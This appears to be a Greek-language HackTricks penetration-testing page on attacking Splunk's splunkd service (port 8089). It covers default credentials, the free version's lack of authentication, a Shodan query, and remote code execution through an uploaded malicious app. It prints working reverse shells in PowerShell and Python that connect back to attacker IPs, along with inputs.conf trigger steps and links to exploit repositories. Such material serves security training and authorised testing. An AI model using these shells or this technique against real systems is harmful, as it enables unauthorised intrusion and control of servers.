119 lines
6.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 8089 - Pentesting Splunkd
{{#include ../banners/hacktricks-training.md}}
## **Βασικές Πληροφορίες**
- Εργαλείο ανάλυσης καταγραφών που χρησιμοποιείται για τη συλλογή, ανάλυση και οπτικοποίηση δεδομένων
- Χρησιμοποιείται συνήθως στην παρακολούθηση ασφάλειας και στην επιχειρηματική ανάλυση
- Προεπιλεγμένες θύρες:
- Διακομιστής ιστού: 8000
- Υπηρεσία Splunkd: 8089
### Δ vectors Ευπάθειας:
1. Εκμετάλλευση Δωρεάν Έκδοσης
- Η δοκιμαστική έκδοση μετατρέπεται αυτόματα σε δωρεάν έκδοση μετά από 60 ημέρες
- Η δωρεάν έκδοση δεν έχει αυθεντικοποίηση
- Πιθανός κίνδυνος ασφάλειας αν αφεθεί χωρίς διαχείριση
- Οι διαχειριστές μπορεί να παραβλέψουν τις επιπτώσεις ασφάλειας
2. Αδυναμίες Διαπιστευτηρίων
- Παλαιότερες εκδόσεις: Προεπιλεγμένα διαπιστευτήρια `admin:changeme`
- Νεότερες εκδόσεις: Διαπιστευτήρια που ορίζονται κατά την εγκατάσταση
- Πιθανότητα χρήσης αδύναμων κωδικών πρόσβασης (π.χ., `admin`, `Welcome`, `Password123`)
3. Ευκαιρίες Εκτέλεσης Κώδικα από Απόσταση
- Πολλές μέθοδοι εκτέλεσης κώδικα:
- Εφαρμογές Django πλευράς διακομιστή
- REST endpoints
- Σενάρια εισόδου
- Σενάρια ειδοποίησης
- Υποστήριξη πολλαπλών πλατφορμών (Windows/Linux)
- Τα σενάρια εισόδου μπορούν να εκτελούνται:
- Bash scripts
- PowerShell scripts
- Batch scripts
Κύρια Δυνατότητα Εκμετάλλευσης:
- Αποθήκευση ευαίσθητων δεδομένων
- Έλλειψη αυθεντικοποίησης στη δωρεάν έκδοση
- Πολλαπλοί δ vectors για πιθανή εκτέλεση κώδικα από απόσταση
- Δυνατότητα εκμετάλλευσης σενάριων εισόδου για συμβιβασμό συστήματος
### Shodan
- `Splunk build`
## RCE
### Δημιουργία Προσαρμοσμένης Εφαρμογής
Το Splunk προσφέρει μια προηγμένη μέθοδο για την εκτέλεση κώδικα από απόσταση μέσω της ανάπτυξης προσαρμοσμένων εφαρμογών, εκμεταλλευόμενο τις δυνατότητες scripting πολλαπλών πλατφορμών του. Η βασική τεχνική εκμετάλλευσης περιστρέφεται γύρω από τη δημιουργία μιας κακόβουλης εφαρμογής που μπορεί να εκτελεί reverse shells σε συστήματα Windows και Linux.
Μια προσαρμοσμένη εφαρμογή μπορεί να εκτελεί **Python, Batch, Bash ή PowerShell scripts**. Επιπλέον, **το Splunk έρχεται με εγκατεστημένο Python**, οπότε ακόμη και σε **Windows** συστήματα θα μπορείτε να εκτελείτε κώδικα python.
Μπορείτε να χρησιμοποιήσετε [**αυτό**](https://github.com/0xjpuff/reverse_shell_splunk) το παράδειγμα με το **`bin`** που περιέχει παράδειγμα για [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) και [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Ή μπορείτε να δημιουργήσετε το δικό σας.
Η διαδικασία εκμετάλλευσης ακολουθεί μια συνεπή μεθοδολογία σε όλες τις πλατφόρμες:
```
splunk_shell/
├── bin (reverse shell scripts)
└── default (inputs.conf configuration)
```
Το κρίσιμο αρχείο ρύθμισης `inputs.conf` ενεργοποιεί το σενάριο με:
- Ρύθμιση `disabled = 0`
- Διαμόρφωση ενός διαστήματος εκτέλεσης 10 δευτερολέπτων
- Ορισμός του τύπου πηγής του σεναρίου
Η ανάπτυξη είναι απλή:
1. Δημιουργήστε το κακόβουλο πακέτο εφαρμογής
2. Ρυθμίστε έναν ακροατή (Netcat/socat) στη μηχανή επίθεσης
3. Ανεβάστε την εφαρμογή μέσω της διεπαφής του Splunk
4. Ενεργοποιήστε την αυτόματη εκτέλεση του σεναρίου κατά την ανέβασμα
Δείγμα Windows PowerShell reverse shell:
```bash
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
```
Δείγμα αντίστροφης θήκης Python σε Linux:
```python
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
```
### RCE & Privilege Escalation
Στην παρακάτω σελίδα μπορείτε να βρείτε μια εξήγηση για το πώς αυτή η υπηρεσία μπορεί να καταχραστεί για να κλιμακώσει τα δικαιώματα και να αποκτήσει επιμονή:
{{#ref}}
../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
{{#endref}}
## References
- [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
{{#include ../banners/hacktricks-training.md}}